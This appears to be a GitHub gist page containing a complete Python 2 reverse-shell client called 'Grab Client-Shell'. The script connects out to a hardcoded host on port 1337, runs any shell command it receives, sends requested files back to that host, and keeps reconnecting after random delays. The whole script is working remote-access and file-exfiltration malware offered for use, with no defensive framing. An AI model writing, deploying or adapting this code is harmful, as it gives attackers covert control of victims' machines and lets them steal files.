Skip to content

Instantly share code, notes, and snippets.

@un4ckn0wl3z
Created April 5, 2016 03:13
Show Gist options
  • Save un4ckn0wl3z/82cbc94b1430b553cc44ce5f6b2851c9 to your computer and use it in GitHub Desktop.
Save un4ckn0wl3z/82cbc94b1430b553cc44ce5f6b2851c9 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# Grab Client-Shell
# Author: N4N0-GH05TL1N3 && H2O
import socket #import socket
import subprocess #to start shell in the system
import os
import time
import random
def transfer(sock, path) :
if os.path.exists(path) :
files = open(path, 'rb')
packet = files.read(1024)
while packet != '' :
sock.send(packet)
packet = files.read(1024)
sock.send('DONE')
files.close()
else :
sock.send('Unable to find out the file')
def chngdirct(sock, path) :
os.chdir( path )
sock.send("Directory changed successfully")
def connect() :
while True :
"""
ip = socket.gethostbyname('xxxxx')
print "Resolved IP was: " + ip
"""
ip = "192.168.100.71"
port = 1337
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
while True : #keep recv command
command = sock.recv(1024)
if 'terminate' in command :
sock.close() #close() socket
return 1
break
elif 'grab' in command :
grab, path = command.split('*')
try :
transfer(sock, path)
except Exception, e :
sock.send( str(e) )
pass
elif 'cd' in command :
cd, path = command.split('*')
try :
chngdirct(sock, path)
except Exception, e :
sock.send( str(e) )
pass
else :
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
sock.send(CMD.stdout.read())
sock.send(CMD.stderr.read())
time.sleep(3)
def main() :
while True :
try :
if connect() == 1 :
#print "kill"
break
except :
sleep_rand = random.randrange(1,10)
time.sleep(sleep_rand)
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment